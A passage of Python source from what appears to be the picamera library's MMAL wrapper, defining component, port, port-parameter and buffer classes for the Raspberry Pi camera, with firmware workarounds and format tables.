len(self.opaque_output_subformats),
self._component[0].output_num,
self.component_type))
self._control = MMALControlPort(self._component[0].control)
port_class = {
mmal.MMAL_ES_TYPE_UNKNOWN: MMALPort,
mmal.MMAL_ES_TYPE_CONTROL: MMALControlPort,
mmal.MMAL_ES_TYPE_VIDEO: MMALVideoPort,
mmal.MMAL_ES_TYPE_AUDIO: MMALAudioPort,
mmal.MMAL_ES_TYPE_SUBPICTURE: MMALSubPicturePort,
}
self._inputs = tuple(
port_class[self._component[0].input[n][0].format[0].type](
self._component[0].input[n], opaque_subformat)
for n, opaque_subformat in enumerate(self.opaque_input_subformats))
self._outputs = tuple(
port_class[self._component[0].output[n][0].format[0].type](
self._component[0].output[n], opaque_subformat)
for n, opaque_subformat in enumerate(self.opaque_output_subformats))
def close(self):
"""
Close the component and release all its resources. After this is
called, most methods will raise exceptions if called.
"""
if self._component is not None:
# ensure we free any pools associated with input/output ports
for output in self.outputs:
output.disable()
for input in self.inputs:
input.disable()
mmal.mmal_component_destroy(self._component)
self._component = None
self._inputs = ()
self._outputs = ()
self._control = None
@property
def name(self):
return self._component[0].name.decode('ascii')
@property
def control(self):
"""
The :class:`MMALControlPort` control port of the component which can be
used to configure most aspects of the component's behaviour.
"""
return self._control
@property
def inputs(self):
"""
A sequence of :class:`MMALPort` objects representing the inputs
of the component.
"""
return self._inputs
@property
def outputs(self):
"""
A sequence of :class:`MMALPort` objects representing the outputs
of the component.
"""
return self._outputs
@property
def enabled(self):
"""
Returns ``True`` if the component is currently enabled. Use
:meth:`enable` and :meth:`disable` to control the component's state.
"""
return bool(self._component[0].is_enabled)
def enable(self):
"""
Enable the component. When a component is enabled it will process data
sent to its input port(s), sending the results to buffers on its output
port(s). Components may be implicitly enabled by connections.
"""
mmal_check(
mmal.mmal_component_enable(self._component),
prefix="Failed to enable component")
def disable(self):
"""
Disables the component.
"""
mmal_check(
mmal.mmal_component_disable(self._component),
prefix="Failed to disable component")
def __enter__(self):
return self
def __exit__(self, exc_type, exc_value, exc_tb):
self.close()
def __repr__(self):
if self._component is not None:
return '<%s "%s": %d inputs %d outputs>' % (
self.__class__.__name__, self.name,
len(self.inputs), len(self.outputs))
else:
return '<%s closed>' % self.__class__.__name__
class MMALControlPort(MMALObject):
"""
Represents an MMAL port with properties to configure the port's parameters.
"""
__slots__ = ('_port', '_params', '_wrapper')
def __init__(self, port):
super(MMALControlPort, self).__init__()
self._port = port
self._params = MMALPortParams(port)
self._wrapper = None
@property
def index(self):
"""
Returns an integer indicating the port's position within its owning
list (inputs, outputs, etc.)
"""
return self._port[0].index
@property
def enabled(self):
"""
Returns a :class:`bool` indicating whether the port is currently
enabled. Unlike other classes, this is a read-only property. Use
:meth:`enable` and :meth:`disable` to modify the value.
"""
return bool(self._port[0].is_enabled)
def enable(self, callback=None):
"""
Enable the port with the specified callback function (this must be
``None`` for connected ports, and a callable for disconnected ports).
The callback function must accept two parameters which will be this
:class:`MMALControlPort` (or descendent) and an :class:`MMALBuffer`
instance. Any return value will be ignored.
"""
def wrapper(port, buf):
buf = MMALBuffer(buf)
try:
callback(self, buf)
finally:
buf.release()
if callback:
self._wrapper = mmal.MMAL_PORT_BH_CB_T(wrapper)
else:
self._wrapper = ct.cast(None, mmal.MMAL_PORT_BH_CB_T)
mmal_check(
mmal.mmal_port_enable(self._port, self._wrapper),
prefix="Unable to enable port %s" % self.name)
def disable(self):
"""
Disable the port.
"""
# NOTE: The test here only exists to avoid spamming the console; when
# disabling an already disabled port MMAL dumps errors to stderr. If
# this test isn't here closing a camera results in half a dozen lines
# of ignored errors
if self.enabled:
try:
mmal_check(
mmal.mmal_port_disable(self._port),
prefix="Unable to disable port %s" % self.name)
except PiCameraMMALError as e:
# Ignore the error if we're disabling an already disabled port
if not (e.status == mmal.MMAL_EINVAL and not self.enabled):
raise e
self._wrapper = None
@property
def name(self):
result = self._port[0].name.decode('ascii')
if result.endswith(')'):
try:
# strip (format) from port names as it doesn't really belong
# there (it doesn't identify the port in any way) and makes
# matching some of the correctional cases a pain
return result[:result.rindex('(')]
except ValueError:
return result
else:
return result
@property
def type(self):
"""
The type of the port. One of:
* MMAL_PORT_TYPE_OUTPUT
* MMAL_PORT_TYPE_INPUT
* MMAL_PORT_TYPE_CONTROL
* MMAL_PORT_TYPE_CLOCK
"""
return self._port[0].type
@property
def capabilities(self):
"""
The capabilities of the port. A bitfield of the following:
* MMAL_PORT_CAPABILITY_PASSTHROUGH
* MMAL_PORT_CAPABILITY_ALLOCATION
* MMAL_PORT_CAPABILITY_SUPPORTS_EVENT_FORMAT_CHANGE
"""
return self._port[0].capabilities
@property
def params(self):
"""
The configurable parameters for the port. This is presented as a
mutable mapping of parameter numbers to values, implemented by the
:class:`MMALPortParams` class.
"""
return self._params
def __repr__(self):
if self._port is not None:
return '<MMALControlPort "%s">' % self.name
else:
return '<MMALControlPort closed>'
class MMALPort(MMALControlPort):
"""
Represents an MMAL port with properties to configure and update the port's
format. This is the base class of :class:`MMALVideoPort`,
:class:`MMALAudioPort`, and :class:`MMALSubPicturePort`.
"""
__slots__ = ('_opaque_subformat', '_pool', '_stopped', '_connection')
# A mapping of corrected definitions of supported_formats for ports with
# particular names. Older firmwares either raised EINVAL, ENOSYS, or just
# reported the wrong things for various ports; these lists are derived from
# querying newer firmwares or in some cases guessing sensible defaults
# (for ports where even the newer firmwares get stuff wrong).
_supported_formats_patch = {
'vc.ril.camera:out:2': [
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_NV12,
mmal.MMAL_ENCODING_I422,
mmal.MMAL_ENCODING_YUYV,
mmal.MMAL_ENCODING_YVYU,
mmal.MMAL_ENCODING_VYUY,
mmal.MMAL_ENCODING_UYVY,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_BGRA,
mmal.MMAL_ENCODING_RGB16,
mmal.MMAL_ENCODING_YV12,
mmal.MMAL_ENCODING_NV21,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_RGBA,
],
'vc.ril.image_encode:in:0': [
mmal.MMAL_ENCODING_RGB16,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_I422,
mmal.MMAL_ENCODING_NV12,
mmal.MMAL_ENCODING_YUYV,
mmal.MMAL_ENCODING_YVYU,
mmal.MMAL_ENCODING_VYUY,
],
'vc.ril.image_encode:out:0': [
mmal.MMAL_ENCODING_JPEG,
mmal.MMAL_ENCODING_GIF,
mmal.MMAL_ENCODING_PNG,
mmal.MMAL_ENCODING_BMP,
mmal.MMAL_ENCODING_PPM,
mmal.MMAL_ENCODING_TGA,
],
'vc.ril.resize:in:0': [
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
mmal.MMAL_ENCODING_RGB16,
mmal.MMAL_ENCODING_I420,
# several invalid encodings (lowercase versions of the priors)
# appear here in modern firmwares but since they don't map to any
# constants they're excluded
mmal.MMAL_ENCODING_I420_SLICE,
],
'vc.ril.resize:out:0': [
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
mmal.MMAL_ENCODING_RGB16,
mmal.MMAL_ENCODING_I420,
# same invalid encodings as above here
mmal.MMAL_ENCODING_I420_SLICE,
],
'vc.ril.isp:in:0': [
mmal.MMAL_ENCODING_BAYER_SBGGR8,
mmal.MMAL_ENCODING_BAYER_SBGGR10DPCM8,
mmal.MMAL_ENCODING_BAYER_SBGGR10P,
mmal.MMAL_ENCODING_BAYER_SBGGR12P,
mmal.MMAL_ENCODING_YUYV,
mmal.MMAL_ENCODING_YVYU,
mmal.MMAL_ENCODING_VYUY,
mmal.MMAL_ENCODING_UYVY,
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_YV12,
mmal.MMAL_ENCODING_I422,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
mmal.MMAL_ENCODING_RGB16,
mmal.MMAL_ENCODING_YUVUV128,
mmal.MMAL_ENCODING_NV12,
mmal.MMAL_ENCODING_NV21,
],
'vc.ril.isp:out:0': [
mmal.MMAL_ENCODING_YUYV,
mmal.MMAL_ENCODING_YVYU,
mmal.MMAL_ENCODING_VYUY,
mmal.MMAL_ENCODING_UYVY,
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_YV12,
mmal.MMAL_ENCODING_I422,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
mmal.MMAL_ENCODING_RGB16,
mmal.MMAL_ENCODING_YUVUV128,
mmal.MMAL_ENCODING_NV12,
mmal.MMAL_ENCODING_NV21,
],
'vc.null_sink:in:0': [
mmal.MMAL_ENCODING_I420,
mmal.MMAL_ENCODING_RGB24,
mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_RGBA,
mmal.MMAL_ENCODING_BGRA,
],
}
def __init__(self, port, opaque_subformat='OPQV'):
super(MMALPort, self).__init__(port)
self.opaque_subformat = opaque_subformat
self._pool = None
self._stopped = True
self._connection = None
def __repr__(self):
if self._port is not None:
return '<MMALPort "%s": format=MMAL_FOURCC(%r) buffers=%dx%d>' % (
self.name, mmal.FOURCC_str(self.format),
self.buffer_count, self.buffer_size)
else:
return '<MMALPort closed>'
def _get_opaque_subformat(self):
return self._opaque_subformat
def _set_opaque_subformat(self, value):
self._opaque_subformat = value
opaque_subformat = property(
_get_opaque_subformat, _set_opaque_subformat, doc="""\
Retrieves or sets the opaque sub-format that the port speaks. While
most formats (I420, RGBA, etc.) mean one thing, the opaque format is
special; different ports produce different sorts of data when
configured for OPQV format. This property stores a string which
uniquely identifies what the associated port means for OPQV format.
If the port does not support opaque format at all, set this property to
``None``.
:class:`MMALConnection` uses this information when negotiating formats
for a connection between two ports.
""")
def _get_format(self):
result = self._port[0].format[0].encoding
if FIX_RGB_BGR_ORDER:
return {
mmal.MMAL_ENCODING_RGB24: mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_BGR24: mmal.MMAL_ENCODING_RGB24,
}.get(result, result)
else:
return result
def _set_format(self, value):
if FIX_RGB_BGR_ORDER:
value = {
mmal.MMAL_ENCODING_RGB24: mmal.MMAL_ENCODING_BGR24,
mmal.MMAL_ENCODING_BGR24: mmal.MMAL_ENCODING_RGB24,
}.get(value, value)
self._port[0].format[0].encoding = value
if value == mmal.MMAL_ENCODING_OPAQUE:
self._port[0].format[0].encoding_variant = mmal.MMAL_ENCODING_I420
format = property(_get_format, _set_format, doc="""\
Retrieves or sets the encoding format of the port. Setting this
attribute implicitly sets the encoding variant to a sensible value
(I420 in the case of OPAQUE).
After setting this attribute, call :meth:`commit` to make the changes
effective.
""")
@property
def supported_formats(self):
"""
Retrieves a sequence of supported encodings on this port.
"""
try:
mp = self.params[mmal.MMAL_PARAMETER_SUPPORTED_ENCODINGS]
except PiCameraMMALError as e:
if e.status in (mmal.MMAL_EINVAL, mmal.MMAL_ENOSYS):
# Workaround: old firmwares raise EINVAL or ENOSYS when various
# ports are queried for supported formats. The following is the
# correct sequence for old firmwares (note: swapped RGB24 and
# BGR24 order in still port) ... probably (vc.ril.camera:out:2
# is definitely right, the rest are largely guessed based on
# queries of later firmwares)
try:
return MMALPort._supported_formats_patch[self.name]
except KeyError:
raise e
else:
raise
else:
result = [
v for v in mp.encoding if v != 0
][:mp.hdr.size // ct.sizeof(ct.c_uint32)]
# Workaround: Fix incorrect result on MMALImageEncoder.outputs[0]
# from modern firmwares
if self.name == 'vc.ril.image_encode:out:0' and result == [
mmal.MMAL_ENCODING_MP2V, mmal.MMAL_ENCODING_MP2V,
mmal.MMAL_ENCODING_H264, mmal.MMAL_ENCODING_H264,
mmal.MMAL_ENCODING_VP7, mmal.MMAL_ENCODING_VP7,
mmal.MMAL_ENCODING_VP6, mmal.MMAL_ENCODING_VP6]:
return MMALPort._supported_formats_patch[self.name]
else:
return result
def _get_bitrate(self):
return self._port[0].format[0].bitrate
def _set_bitrate(self, value):
self._port[0].format[0].bitrate = value
bitrate = property(_get_bitrate, _set_bitrate, doc="""\
Retrieves or sets the bitrate limit for the port's format.
""")
def copy_from(self, source):
"""
Copies the port's :attr:`format` from the *source*
:class:`MMALControlPort`.
"""
if isinstance(source, MMALPythonPort):
mmal.mmal_format_copy(self._port[0].format, source._format)
else:
mmal.mmal_format_copy(self._port[0].format, source._port[0].format)
def commit(self):
"""
Commits the port's configuration and automatically updates the number
and size of associated buffers according to the recommendations of the
MMAL library. This is typically called after adjusting the port's
format and/or associated settings (like width and height for video
ports).
"""
mmal_check(
mmal.mmal_port_format_commit(self._port),
prefix="Format couldn't be set on port %s" % self.name)
# Workaround: Unfortunately, there is an upstream issue with the
# buffer_num_recommended which means it can't currently be used (see
# discussion in raspberrypi/userland#167). There's another upstream
# issue with buffer_num_min which means we need to guard against 0
# values...
self._port[0].buffer_num = max(1, self._port[0].buffer_num_min)
self._port[0].buffer_size = (
self._port[0].buffer_size_recommended
if self._port[0].buffer_size_recommended > 0 else
self._port[0].buffer_size_min)
@property
def pool(self):
"""
Returns the :class:`MMALPool` associated with the buffer, if any.
"""
return self._pool
def get_buffer(self, block=True, timeout=None):
"""
Returns a :class:`MMALBuffer` from the associated :attr:`pool`. *block*
and *timeout* act as they do in the corresponding
:meth:`MMALPool.get_buffer`.
"""
if not self.enabled:
raise PiCameraPortDisabled(
'cannot get buffer from disabled port %s' % self.name)
return self.pool.get_buffer(block, timeout)
def send_buffer(self, buf):
"""
Send :class:`MMALBuffer` *buf* to the port.
"""
if (
self.type == mmal.MMAL_PORT_TYPE_INPUT and
isinstance(self._connection, MMALPythonConnection) and
self._connection._callback is not None):
try:
modified_buf = self._connection._callback(self._connection, buf)
except:
buf.release()
raise
else:
if modified_buf is None:
buf.release()
return
else:
buf = modified_buf
try:
mmal_check(
mmal.mmal_port_send_buffer(self._port, buf._buf),
prefix="cannot send buffer to port %s" % self.name)
except PiCameraMMALError as e:
# If port is disabled, convert exception for convenience
if e.status == mmal.MMAL_EINVAL and not self.enabled:
raise PiCameraPortDisabled(
'cannot send buffer to disabled port %s' % self.name)
else:
raise
def flush(self):
"""
Flush the port.
"""
mmal_check(
mmal.mmal_port_flush(self._port),
prefix="Unable to flush port %s" % self.name)
def _get_buffer_count(self):
return self._port[0].buffer_num
def _set_buffer_count(self, value):
if value < 1:
raise PiCameraMMALError(mmal.MMAL_EINVAL, 'buffer count <1')
self._port[0].buffer_num = value
buffer_count = property(_get_buffer_count, _set_buffer_count, doc="""\
The number of buffers allocated (or to be allocated) to the port.
The ``mmalobj`` layer automatically configures this based on
recommendations from the MMAL library.
""")
def _get_buffer_size(self):
return self._port[0].buffer_size
def _set_buffer_size(self, value):
if value < 0:
raise PiCameraMMALError(mmal.MMAL_EINVAL, 'buffer size <0')
self._port[0].buffer_size = value
buffer_size = property(_get_buffer_size, _set_buffer_size, doc="""\
The size of buffers allocated (or to be allocated) to the port. The
size of buffers is typically dictated by the port's format. The
``mmalobj`` layer automatically configures this based on
recommendations from the MMAL library.
""")
def enable(self, callback=None):
"""
Enable the port with the specified callback function (this must be
``None`` for connected ports, and a callable for disconnected ports).
The callback function must accept two parameters which will be this
:class:`MMALControlPort` (or descendent) and an :class:`MMALBuffer`
instance. The callback should return ``True`` when processing is
complete and no further calls are expected (e.g. at frame-end for an
image encoder), and ``False`` otherwise.
"""
def wrapper(port, buf):
buf = MMALBuffer(buf)
try:
if not self._stopped and callback(self, buf):
self._stopped = True
finally:
buf.release()
try:
self._pool.send_buffer(block=False)
except PiCameraPortDisabled:
# The port was disabled, no point trying again
pass
# Workaround: There is a bug in the MJPEG encoder that causes a
# deadlock if the FIFO is full on shutdown. Increasing the encoder
# buffer size makes this less likely to happen. See
# raspberrypi/userland#208. Connecting the encoder component resets the
# output port's buffer size, hence why we correct this here, just
# before enabling the port.
if self._port[0].format[0].encoding == mmal.MMAL_ENCODING_MJPEG:
self._port[0].buffer_size = max(512 * 1024, self._port[0].buffer_size_recommended)
if callback:
assert self._stopped
assert self._pool is None
self._stopped = False
self._pool = MMALPortPool(self)
try:
self._wrapper = mmal.MMAL_PORT_BH_CB_T(wrapper)
mmal_check(
mmal.mmal_port_enable(self._port, self._wrapper),
prefix="Unable to enable port %s" % self.name)
# If this port is an output port, send it all the buffers
# in the pool. If it's an input port, don't bother: the user
# will presumably want to feed buffers to it manually
if self._port[0].type == mmal.MMAL_PORT_TYPE_OUTPUT:
self._pool.send_all_buffers(block=False)
except:
self._pool.close()
self._pool = None
self._stopped = True
raise
else:
super(MMALPort, self).enable()
def disable(self):
"""
Disable the port.
"""
self._stopped = True
super(MMALPort, self).disable()
if self._pool is not None:
self._pool.close()
self._pool = None
@property
def connection(self):
"""
If this port is connected to another, this property holds the
:class:`MMALConnection` or :class:`MMALPythonConnection` object which
represents that connection. If this port is not connected, this
property is ``None``.
"""
return self._connection
def connect(self, other, **options):
"""
Connect this port to the *other* :class:`MMALPort` (or
:class:`MMALPythonPort`). The type and configuration of the connection
will be automatically selected.
Various connection *options* can be specified as keyword arguments.
These will be passed onto the :class:`MMALConnection` or
:class:`MMALPythonConnection` constructor that is called (see those
classes for an explanation of the available options).
"""
# Always construct connections from the output end
if self.type != mmal.MMAL_PORT_TYPE_OUTPUT:
return other.connect(self, **options)
if other.type != mmal.MMAL_PORT_TYPE_INPUT:
raise PiCameraValueError(
'A connection can only be established between an output and '
'an input port')
if isinstance(other, MMALPythonPort):
return MMALPythonConnection(self, other, **options)
else:
return MMALConnection(self, other, **options)
def disconnect(self):
"""
Destroy the connection between this port and another port.
"""
if self.connection is not None:
self.connection.close()
class MMALVideoPort(MMALPort):
"""
Represents an MMAL port used to pass video data.
"""
__slots__ = ()
def __repr__(self):
if self._port is not None:
return '<MMALVideoPort "%s": format=MMAL_FOURCC(%r) buffers=%dx%d frames=%s@%sfps>' % (
self.name, mmal.FOURCC_str(self.format),
self._port[0].buffer_num, self._port[0].buffer_size,
self.framesize, self.framerate)
else:
return '<MMALVideoPort closed>'
def _get_framesize(self):
return PiResolution(
self._port[0].format[0].es[0].video.crop.width,
self._port[0].format[0].es[0].video.crop.height,
)
def _set_framesize(self, value):
value = to_resolution(value)
video = self._port[0].format[0].es[0].video
video.width = bcm_host.VCOS_ALIGN_UP(value.width, 32)
video.height = bcm_host.VCOS_ALIGN_UP(value.height, 16)
video.crop.width = value.width
video.crop.height = value.height
framesize = property(_get_framesize, _set_framesize, doc="""\
Retrieves or sets the size of the port's video frames as a (width,
height) tuple. This attribute implicitly handles scaling the given
size up to the block size of the camera (32x16).
After setting this attribute, call :meth:`~MMALPort.commit` to make the
changes effective.
""")
def _get_framerate(self):
video = self._port[0].format[0].es[0].video
try:
return Fraction(
video.frame_rate.num,
video.frame_rate.den)
except ZeroDivisionError:
assert video.frame_rate.num == 0
return Fraction(0, 1)
def _set_framerate(self, value):
value = to_fraction(value)
video = self._port[0].format[0].es[0].video
video.frame_rate.num = value.numerator
video.frame_rate.den = value.denominator
framerate = property(_get_framerate, _set_framerate, doc="""\
Retrieves or sets the framerate of the port's video frames in fps.
After setting this attribute, call :meth:`~MMALPort.commit` to make the
changes effective.
""")
class MMALAudioPort(MMALPort):
"""
Represents an MMAL port used to pass audio data.
"""
__slots__ = ()
def __repr__(self):
if self._port is not None:
return '<MMALAudioPort "%s": format=MMAL_FOURCC(%r) buffers=%dx%d>' % (
self.name, mmal.FOURCC_str(self.format),
self._port[0].buffer_num, self._port[0].buffer_size)
else:
return '<MMALAudioPort closed>'
class MMALSubPicturePort(MMALPort):
"""
Represents an MMAL port used to pass sub-picture (caption) data.
"""
__slots__ = ()
def __repr__(self):
if self._port is not None:
return '<MMALSubPicturePort "%s": format=MMAL_FOURCC(%r) buffers=%dx%d>' % (
self.name, mmal.FOURCC_str(self.format),
self._port[0].buffer_num, self._port[0].buffer_size)
else:
return '<MMALSubPicturePort closed>'
class MMALPortParams(object):
"""
Represents the parameters of an MMAL port. This class implements the
:attr:`MMALControlPort.params` attribute.
Internally, the class understands how to convert certain structures to more
common Python data-types. For example, parameters that expect an
MMAL_RATIONAL_T type will return and accept Python's
:class:`~fractions.Fraction` class (or any other numeric types), while
parameters that expect an MMAL_BOOL_T type will treat anything as a truthy
value. Parameters that expect the MMAL_PARAMETER_STRING_T structure will be
treated as plain strings, and likewise MMAL_PARAMETER_INT32_T and similar
structures will be treated as plain ints.
Parameters that expect more complex structures will return and expect
those structures verbatim.
"""
__slots__ = ('_port',)
def __init__(self, port):
super(MMALPortParams, self).__init__()
self._port = port
def __getitem__(self, key):
dtype = PARAM_TYPES[key]
# Use the short-cut functions where possible (teeny bit faster if we
# get some C to do the structure wrapping for us)
func = {
mmal.MMAL_PARAMETER_RATIONAL_T: mmal.mmal_port_parameter_get_rational,
mmal.MMAL_PARAMETER_BOOLEAN_T: mmal.mmal_port_parameter_get_boolean,
mmal.MMAL_PARAMETER_INT32_T: mmal.mmal_port_parameter_get_int32,
mmal.MMAL_PARAMETER_INT64_T: mmal.mmal_port_parameter_get_int64,
mmal.MMAL_PARAMETER_UINT32_T: mmal.mmal_port_parameter_get_uint32,
mmal.MMAL_PARAMETER_UINT64_T: mmal.mmal_port_parameter_get_uint64,
}.get(dtype, mmal.mmal_port_parameter_get)
conv = {
mmal.MMAL_PARAMETER_RATIONAL_T: lambda v: Fraction(v.num, v.den),
mmal.MMAL_PARAMETER_BOOLEAN_T: lambda v: v.value != mmal.MMAL_FALSE,
mmal.MMAL_PARAMETER_INT32_T: lambda v: v.value,
mmal.MMAL_PARAMETER_INT64_T: lambda v: v.value,
mmal.MMAL_PARAMETER_UINT32_T: lambda v: v.value,
mmal.MMAL_PARAMETER_UINT64_T: lambda v: v.value,
mmal.MMAL_PARAMETER_STRING_T: lambda v: v.str.decode('ascii'),
}.get(dtype, lambda v: v)
if func == mmal.mmal_port_parameter_get:
result = dtype(
mmal.MMAL_PARAMETER_HEADER_T(key, ct.sizeof(dtype))
)
mmal_check(
func(self._port, result.hdr),
prefix="Failed to get parameter %d" % key)
else:
dtype = {
mmal.MMAL_PARAMETER_RATIONAL_T: mmal.MMAL_RATIONAL_T,
mmal.MMAL_PARAMETER_BOOLEAN_T: mmal.MMAL_BOOL_T,
mmal.MMAL_PARAMETER_INT32_T: ct.c_int32,
mmal.MMAL_PARAMETER_INT64_T: ct.c_int64,
mmal.MMAL_PARAMETER_UINT32_T: ct.c_uint32,
mmal.MMAL_PARAMETER_UINT64_T: ct.c_uint64,
}[dtype]
result = dtype()
mmal_check(
func(self._port, key, result),
prefix="Failed to get parameter %d" % key)
return conv(result)
def __setitem__(self, key, value):
dtype = PARAM_TYPES[key]
func = {
mmal.MMAL_PARAMETER_RATIONAL_T: mmal.mmal_port_parameter_set_rational,
mmal.MMAL_PARAMETER_BOOLEAN_T: mmal.mmal_port_parameter_set_boolean,
mmal.MMAL_PARAMETER_INT32_T: mmal.mmal_port_parameter_set_int32,
mmal.MMAL_PARAMETER_INT64_T: mmal.mmal_port_parameter_set_int64,
mmal.MMAL_PARAMETER_UINT32_T: mmal.mmal_port_parameter_set_uint32,
mmal.MMAL_PARAMETER_UINT64_T: mmal.mmal_port_parameter_set_uint64,
mmal.MMAL_PARAMETER_STRING_T: mmal.mmal_port_parameter_set_string,
}.get(dtype, mmal.mmal_port_parameter_set)
conv = {
mmal.MMAL_PARAMETER_RATIONAL_T: lambda v: to_rational(v),
mmal.MMAL_PARAMETER_BOOLEAN_T: lambda v: mmal.MMAL_TRUE if v else mmal.MMAL_FALSE,
mmal.MMAL_PARAMETER_STRING_T: lambda v: v.encode('ascii'),
}.get(dtype, lambda v: v)
if func == mmal.mmal_port_parameter_set:
mp = conv(value)
assert mp.hdr.id == key
assert mp.hdr.size >= ct.sizeof(dtype)
mmal_check(
func(self._port, mp.hdr),
prefix="Failed to set parameter %d to %r" % (key, value))
else:
mmal_check(
func(self._port, key, conv(value)),
prefix="Failed to set parameter %d to %r" % (key, value))
class MMALBuffer(object):
"""
Represents an MMAL buffer header. This is usually constructed from the
buffer header pointer and is largely supplied to make working with
the buffer's data a bit simpler. Using the buffer as a context manager
implicitly locks the buffer's memory and returns the :mod:`ctypes`
buffer object itself::
def callback(port, buf):
with buf as data:
# data is a ctypes uint8 array with size entries
print(len(data))
Alternatively you can use the :attr:`data` property directly, which returns
and modifies the buffer's data as a :class:`bytes` object (note this is
generally slower than using the buffer object unless you are simply
replacing the entire buffer)::
def callback(port, buf):
# the buffer contents as a byte-string
print(buf.data)
"""
__slots__ = ('_buf',)
def __init__(self, buf):
super(MMALBuffer, self).__init__()
self._buf = buf
def _get_command(self):
return self._buf[0].cmd
def _set_command(self, value):
self._buf[0].cmd = value
command = property(_get_command, _set_command, doc="""\
The command set in the buffer's meta-data. This is usually 0 for
buffers returned by an encoder; typically this is only used by buffers
sent to the callback of a control port.
""")
def _get_flags(self):
return self._buf[0].flags
def _set_flags(self, value):
self._buf[0].flags = value
flags = property(_get_flags, _set_flags, doc="""\
The flags set in the buffer's meta-data, returned as a bitmapped
integer. Typical flags include:
* ``MMAL_BUFFER_HEADER_FLAG_EOS`` -- end of stream
* ``MMAL_BUFFER_HEADER_FLAG_FRAME_START`` -- start of frame data
* ``MMAL_BUFFER_HEADER_FLAG_FRAME_END`` -- end of frame data
* ``MMAL_BUFFER_HEADER_FLAG_KEYFRAME`` -- frame is a key-frame
* ``MMAL_BUFFER_HEADER_FLAG_FRAME`` -- frame data
* ``MMAL_BUFFER_HEADER_FLAG_CODECSIDEINFO`` -- motion estimatation data
""")
def _get_pts(self):
return self._buf[0].pts
def _set_pts(self, value):
self._buf[0].pts = value
pts = property(_get_pts, _set_pts, doc="""\
The presentation timestamp (PTS) of the buffer, as an integer number
of microseconds or ``MMAL_TIME_UNKNOWN``.
""")
def _get_dts(self):
return self._buf[0].dts
def _set_dts(self, value):
self._buf[0].dts = value
dts = property(_get_dts, _set_dts, doc="""\
The decoding timestamp (DTS) of the buffer, as an integer number of
microseconds or ``MMAL_TIME_UNKNOWN``.
""")
@property
def size(self):
"""
Returns the length of the buffer's data area in bytes. This will be
greater than or equal to :attr:`length` and is fixed in value.
"""
return self._buf[0].alloc_size
def _get_offset(self):
return self._buf[0].offset
def _set_offset(self, value):
assert 0 <= value <= self.size
self._buf[0].offset = value
self.length = min(self.size - self.offset, self.length)
offset = property(_get_offset, _set_offset, doc="""\
The offset from the start of the buffer at which the data actually
begins. Defaults to 0. If this is set to a value which would force the
current :attr:`length` off the end of the buffer's :attr:`size`, then
:attr:`length` will be decreased automatically.
""")
def _get_length(self):
return self._buf[0].length
def _set_length(self, value):
assert 0 <= value <= self.size - self.offset
self._buf[0].length = value
length = property(_get_length, _set_length, doc="""\
The length of data held in the buffer. Must be less than or equal to
the allocated size of data held in :attr:`size` minus the data
:attr:`offset`. This attribute can be used to effectively blank the
buffer by setting it to zero.
""")
def _get_data(self):
with self as buf:
return ct.string_at(
ct.byref(buf, self._buf[0].offset),
self._buf[0].length)
def _set_data(self, value):
value_len = buffer_bytes(value)
if value_len:
if value_len > self.size:
raise PiCameraValueError(
'data is too large for buffer (%d > %d)' % (
value_len, self.size))
bp = ct.c_uint8 * value_len
try:
sp = bp.from_buffer(value)
except TypeError:
sp = bp.from_buffer_copy(value)
with self as buf:
ct.memmove(buf, sp, value_len)
self._buf[0].offset = 0
self._buf[0].length = value_len
data = property(_get_data, _set_data, doc="""\
The data held in the buffer as a :class:`bytes` string. You can set
this attribute to modify the data in the buffer. Acceptable values
are anything that supports the buffer protocol, and which contains
:attr:`size` bytes or less. Setting this attribute implicitly modifies
the :attr:`length` attribute to the length of the specified value and
sets :attr:`offset` to zero.
.. note::
Accessing a buffer's data via this attribute is relatively slow
(as it copies the buffer's data to/from Python objects). See the
:class:`MMALBuffer` documentation for details of a faster (but
more complex) method.
""")
def replicate(self, source):
"""
Replicates the *source* :class:`MMALBuffer`. This copies all fields
from the *source* buffer, including the internal :attr:`data` pointer.
In other words, after replication this buffer and the *source* buffer
will share the same block of memory for *data*.
The *source* buffer will also be referenced internally by this buffer
and will only be recycled once this buffer is released.
.. note::
This is fundamentally different to the operation of the
:meth:`copy_from` method. It is much faster, but imposes the burden
that two buffers now share data (the *source* cannot be released
until the replicant has been released).
"""
mmal_check(
mmal.mmal_buffer_header_replicate(self._buf, source._buf),
prefix='unable to replicate buffer')
def copy_from(self, source):
"""
Copies all fields (including data) from the *source*
:class:`MMALBuffer`. This buffer must have sufficient :attr:`size` to
store :attr:`length` bytes from the *source* buffer. This method
implicitly sets :attr:`offset` to zero, and :attr:`length` to the
number of bytes copied.
.. note::
This is fundamentally different to the operation of the
:meth:`replicate` method. It is much slower, but afterward the
copied buffer is entirely independent of the *source*.
"""
assert self.size >= source.length
source_len = source._buf[0].length
if source_len:
with self as target_buf, source as source_buf:
ct.memmove(target_buf, ct.byref(source_buf, source.offset), source_len)
self._buf[0].offset = 0
self._buf[0].length = source_len
self.copy_meta(source)
def copy_meta(self, source):
"""
Copy meta-data from the *source* :class:`MMALBuffer`; specifically this
copies all buffer fields with the exception of :attr:`data`,
:attr:`length` and :attr:`offset`.
"""
self._buf[0].cmd = source._buf[0].cmd
self._buf[0].flags = source._buf[0].flags
self._buf[0].dts = source._buf[0].dts
self._buf[0].pts = source._buf[0].pts
self._buf[0].type[0] = source._buf[0].type[0]
def acquire(self):
"""
Acquire a reference to the buffer. This will prevent the buffer from
being recycled until :meth:`release` is called. This method can be
called multiple times in which case an equivalent number of calls
